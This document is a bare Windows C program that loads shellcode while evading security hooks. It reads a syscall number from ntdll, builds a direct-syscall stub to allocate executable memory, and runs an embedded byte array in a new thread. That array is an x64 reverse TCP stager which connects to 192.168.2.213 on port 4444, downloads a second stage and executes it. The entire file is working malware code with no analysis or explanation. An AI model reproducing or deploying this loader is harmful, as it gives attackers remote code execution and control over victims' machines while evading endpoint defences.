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| #include <Windows.h>
#include <stdio.h>
#include <tchar.h>
#pragma comment(linker, "/section:.data,RWE")
CHAR FuncExample[] = {
0x4c,0x8b,0xd1,
0xb8,0x18,0x00,0x00,0x00,
0x0f,0x05,
0xc3
};
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);
DOUBLE GetAndSetSysCall(TCHAR* szFuncName) {
DWORD SysCallid = 0;
HMODULE hModule = GetModuleHandle(_T("ntdll.dll"));
DWORD64 FuncAddr = (DWORD64)GetProcAddress(hModule, (LPCSTR)szFuncName);
LPVOID CallAddr = (LPVOID)(FuncAddr + 4);
ReadProcessMemory(GetCurrentProcess(), CallAddr, &SysCallid, 4, NULL);
memcpy(FuncExample + 4, (CHAR*)&SysCallid, 2);
return (DOUBLE)SysCallid;
}
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0"
"\x41\x51\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x44\x8b"
"\x40\x20\x50\x8b\x48\x18\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x02\xd5\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
int main() {
LPVOID Address = NULL;
SIZE_T uSize = sizeof(buf);
DOUBLE call = GetAndSetSysCall((TCHAR*)"NtAllocateVirtualMemory");
pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)&FuncExample;
NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &uSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(Address, buf, sizeof(buf));
HANDLE hand = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)Address,0,0,0);
WaitForSingleObject(hand,INFINITE);
return 0;
}
|
